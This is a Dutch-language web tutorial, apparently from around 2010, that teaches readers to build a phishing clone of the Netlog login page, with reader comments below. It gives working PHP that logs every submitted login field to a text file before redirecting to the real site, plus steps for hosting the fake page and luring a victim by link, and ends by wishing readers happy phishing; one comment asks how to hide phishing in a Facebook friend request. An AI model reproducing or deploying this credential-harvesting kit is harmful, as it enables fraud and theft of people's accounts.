Inleiding

In deze tutorial leer je een techniek waarmee je voor elke site - een site waar je moet inloggen - een php hack maakt (phishing website). Phishing is een vorm van internetfraude, door mensen te lokken naar een valse (bank)website. Het is een kopie van de echte website, alleen verzend ze de informatie naar een foutieve eigenaar.
Meer info over 'phishing': wikipedia > 'phishing'.
De tutorial bestaat uit 2 delen:
deel 1: gegevens worden in bestand geplaatst
deel 2: gegevens worden per mail verzonden.

Phishing website maken deel 1 (bestand)

We maken voor deze tutorial een phishing website van netlog.

Benodigdheden:
- bron van netlog
- post.php (het php bestand dat gegevens verwerkt)
- gegevens.txt (leeg bestand waar de gegevens ingeplaatst worden

Bron van netlog ophalen: www.netlog.com > 'Beeld' (taakbalk) > en kies voor 'Bron'. Vervolgens gaan we de actie van het inloggen veranderen, zoek naar 'action="' (CRTL+F). Het eerste resultaat is het login form rechtsboven. Vervang dan 'action="go/login"' door 'action="post.php"'. We verwijzen hier naar onze verwerk pagina. Sla deze pagina dan op als 'index.html'.

De verwerk pagina:

header ('Location: www.netlog.com/go/login');

$file = fopen("gegevens.txt", "a");

foreach($_POST as $variable => $value) {

   fwrite($file, $variable);

   fwrite($file, "=");

   fwrite($file, $value);

   fwrite($file, "\r\n");

}

fwrite($file, "\r\n");

fclose($file);

exit;

Vergeet niet de code tussen de php tags te plaatsen! Sla het vervolgens op als 'post.php'. Maak ook een leeg bestand aan 'gegevens.txt'. Let wel op: als je je phishing website op een webserver gaat plaatsen dan moet je het bestand 'gegevens.txt' chmod'en naar '777'. Nu je alle bestanden hebt, hoef je ze nog alleen maar te uploaden, bijvoorbeeld op ripway.com. Als laatste vraag je iemand om naar een/jouw profiel te kijken. Je geeft hem de link naar 'index.php'. Als je je bestanden naar ripway geupload hebt, zal de link er zo uitzien: 'http://h1.ripway.com/jouwnaam'. Veel phishingplezier .

Download

Jacob schreef deze reactie om 14:37:00 op 2010-07-05

wat voor code moet je er neer zetten bij php dan?

maxim schreef deze reactie om 10:02:00 op 2010-05-08

Ik heb gedaan wat je zegt, maar het komt niet in het bestand terecht. zou dat kunnen komen doordat ik de link heb veranderd.

kees schreef deze reactie om 21:43:00 op 2010-04-23

wat bedoel je met bron?

Ravic schreef deze reactie om 11:46:00 op 2010-01-14

Hey...
Bestaat er een megelijkheid om zo een phisching bv van facebook... in een vriend verzoek te verwerken???
Zo dat als hij/zij aanvaard of negeer klikt op die phishing komt?

Reageer:

Naam:
E-mail adres:
Persoonlijk bericht:

(Maximum karakters: 400). Je hebt nog     karakters over.
 

Validatie code: